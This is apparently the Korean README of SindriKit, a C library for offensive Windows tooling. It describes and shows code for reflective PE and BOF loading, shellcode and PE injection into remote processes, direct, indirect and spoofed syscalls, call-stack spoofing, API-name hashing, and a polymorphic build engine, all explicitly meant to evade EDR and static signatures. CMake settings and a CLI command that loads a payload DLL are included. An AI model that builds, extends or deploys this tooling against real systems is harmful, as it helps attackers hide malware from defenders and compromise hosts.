
SindriKit v2.0.0
작전적으로 신뢰할 수 있는 공격 능력을 구축하기 위한 기초 C 라이브러리
SindriKit
공격적 개발에는 더 나은 아키텍처가 필요합니다.
공격 기능을 구축하기 위한 C 라이브러리.
핵심 개념
대부분의 공격용 유틸리티는 실행 메커니즘을 기법의 로직 안에 하드코딩합니다. 리플렉티브 로더는 단순히 이미지를 매핑하는 것이 아니라, 특정하게 하드코딩된 VirtualAlloc 또는 네이티브 NTAPI 호출 체인을 사용하여 매핑합니다. EDR이 그 특정 체인을 모니터링하기 시작하면, 전체 도구를 다시 작성해야 합니다.
SindriKit은 인터페이스 추상화 테이블을 통해 관심사의 분리를 강제함으로써 이 문제를 해결합니다:
- 기법 로직: (예: 로더, 인젝션, 패처) 상태 추적과 데이터 오케스트레이션을 담당합니다. 메모리가 어떻게 할당되는지, 스레드가 어떻게 생성되는지에 대해서는 알지 못합니다.
- 실행 메커니즘: (예: Win32 API, 네이티브 NTAPI, 직접 시스템 콜)은 독립적인 API 테이블 안에 있으며 런타임에 기법에 주입됩니다.
실행 메커니즘을 런타임 함수 포인터로 전환함으로써, 페이로드 실행 로직을 변경하지 않고도 단 한 줄의 코드로 전체 전략을 Win32 호출에서 원시 직접 시스템 콜로 교체할 수 있습니다.
설계 아키텍처
- 분리된 실행 프로파일: 기법 로직을 건드리지 않고 독립적인 함수 포인터 테이블(
snd_memory_api_t,snd_module_api_t,snd_process_api_t,snd_thread_api_t,snd_mapping_api_t,snd_file_api_t)을 통해 메모리, 모듈, 매핑, 프로세스, 스레드, 파일 메커니즘을 교체할 수 있습니다. - 기법 커버리지: 리플렉티브 PE (EXE/DLL) 및 COFF/BOF 로딩, 셸코드/PE/COFF에 대한 클래식 및 얼리버드 APC 인젝션, 그리고 아키텍처 인식 FFI와 Heaven's Gate — 모두 동일한 조합 가능한 프로파일 위에서 동작합니다.
- 계단식 시스템 콜 파이프라인: 우선순위 체인을 가진 플러그 가능한 SSN 리졸버(
snd_syscall_resolve_ssn_scan,snd_syscall_resolve_ssn_sort)가 호출자와 분리되어 있습니다: 직접, 간접(NTDLL 가젯), 또는 스푸핑(동적 Fat-Frame 콜 스택 스푸핑). - 기능 인코딩 상태: 모든 실패 가능 호출은
snd_status_t를 반환합니다 — 패킹된 기능/로컬 코드와 캡처된 OS 오류, 그리고 silent 티어에서 컴파일 아웃되는 컨텍스트 문자열을 포함합니다. - 컴파일 타임 난독화: 문자열 및 API 해싱 알고리즘(DJB2, FNV1A)을 CMake를 통해 전역적으로 교체할 수 있습니다. 컴파일 시 전역 시드를 자동으로 무작위화하여 정적 시그니처를 변경합니다.
- 변이 엔진:
SND_MORPH를 통해 깊은 다형성을 가능하게 합니다. C 코드에 휘발성 불투명 프레디케이트를, 어셈블리 스텁에 기능적으로 동등한 수학/NOP를 주입하고, 핵심 구조체의 메모리 레이아웃을 뒤섞어 매 빌드마다 고유한 바이너리 시그니처를 생성합니다. - 릴리스 빌드: silent 티어는 모든 진단 문자열, 파일 디스크립터, 추적 프레임을 제거합니다.
SND_CRTLESS빌드는 더 나아가/NODEFAULTLIB, SDK 헤더 없음, PEB 프론트엔드, 네이티브 백엔드만으로 구성됩니다.
빠른 시작
저장소에는 모든 프로파일을 실행하는 단일 unified CLI가 포함되어 있습니다:
build.bat pocs
build64\pocs\Release\unified.exe load pe -f payload.dll -e Run --sys
unified는 load pe|coff, inject classic|apc|hijack(shell, PE, COFF), 그리고 hg를 지원하며, 각각 --win/--nt/--sys 위에서 동작합니다. 예제 및 PoC와 시작하기를 참조하세요.
SindriKit 통합하기
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
단 두 줄로 여러분의 도구가 SindriKit의 모든 기능을 상속받습니다: PE 및 COFF 파싱, 리플렉티브 로딩, 계단식 시스템 콜, 인젝션 프로파일.
엔진
API 추상화 계층
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ snd_mapping_api_t -> open · view · close (KnownDlls bootstrap) │
│ snd_thread_api_t -> queue_apc · resume · suspend │
│ snd_file_api_t -> load │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
실제로 이는 모든 도메인이 동일한 계약을 따른다는 것을 의미합니다:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
계단식 시스템 콜 파이프라인
SindriKit은 시스템 콜 해석을 주입 가능한 메커니즘으로 취급하며, 전략을 우선순위 순서로 쌓습니다. 엔진은 하나가 성공할 때까지 다음으로 넘어갑니다:
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
호출자는 SSN 해석과 분리되어 있습니다 — 도메인 코드를 수정하지 않고 직접, 간접, 스푸핑 시스템 콜 사이를 전환할 수 있습니다. 간접 호출은 합법적인 NTDLL 가젯으로 점프하여 반환 주소가 ntdll.dll 내부에 유지되도록 합니다. 스푸핑 호출은 추가로 동적으로 발견된 "Fat Frame" 내부에 진짜 호출자 반환 주소를 심어, 콜 스택 언와인드가 일관성을 유지하도록 합니다.
컴파일 타임 알고리즘 민첩성
모든 API 이름과 모듈 문자열은 단일 CMake 변수를 통해 컴파일 타임에 최종 바이너리에서 제거됩니다:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
각 해시는 무작위로 생성된 시드로 계산됩니다(SND_RANDOMIZE_SEED=ON인 경우). C 코드 한 줄도 건드리지 않고 컴파일 간에 정적 흔적이 완전히 바뀝니다.
아키텍처 인식 동적 FFI
임의의 런타임 함수 호출을 위한 커스텀 MASM 어셈블리 브리지입니다. x64 빌드는 Microsoft x64 호출 규약(섀도 스페이스, 레지스터 인자 배치, 스택 정렬)을 정확히 따릅니다. x86 빌드는 cdecl과 stdcall 대상 모두를 지원하며 인자를 역순으로 푸시합니다.
경계 검사 PE 파서
is_mapped 플래그를 가진 통합 PE32/PE32+ 파서로, 원시 온디스크 이미지와 메모리 매핑 뷰를 모두 올바르게 처리합니다. 모든 데이터 디렉터리 접근은 역참조 전에 추적된 버퍼 경계에 대해 검증됩니다. 익스포트 해석은 해시 기반 조회를 통해 최대 깊이 4까지 포워더 체인을 지원합니다.
다음에 대해 테스트되었습니다:
- x86 및 x64 전반에 걸쳐 엣지 케이스 EXE, DLL, 잘못된 인자, 누락된 익스포트, TLS 콜백을 대상으로 하는 40개 이상의 핵심 테스트 조합.
pe_mutator모듈이 생성한 100개 이상의 동적 PE 변이: 제로화된 섹션 이름, 정수 오버플로, 잘못된e_lfanew경계, 망가진 임포트.- 전체 Corkami 코퍼스: 유효한 샘플은 깨끗하게 로드하고, 잘못된 형식의 샘플은 크래시 없이 깨끗하게 거부하며 샘플의 99%를 처리합니다.
COFF / BOF 로더
두 번째 로더 기법은 링크되지 않은 COFF 오브젝트 파일(Beacon Object Files)을 처리합니다: 헤더, 섹션, 심볼, 재배치의 경계 내 파싱; 주입된 mod_api를 통한 MODULE$Function 외부 심볼 해석; 범위를 벗어난 호출을 위한 x64 JMP [RIP+0] 트램펄린; 그리고 명명된 진입점(기본값 go)의 실행 — 로컬 또는 원격 프로세스로 마샬링.
상태 추적 도메인 컨텍스트
모든 공격 작업은 단계 열거를 가진 개별 컨텍스트 구조체를 통해 관리됩니다. 작업은 슬립 난독화 또는 단계적 배포를 위해 단계 사이에서 일시 중지되고, 깨끗하게 재개되며, 하위 시스템과 이유까지 정확한 실패 지점을 검사할 수 있습니다.
API 설계 철학
시스템 콜 파이프라인을 한 번 부트스트랩합니다(일반적인 패턴):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);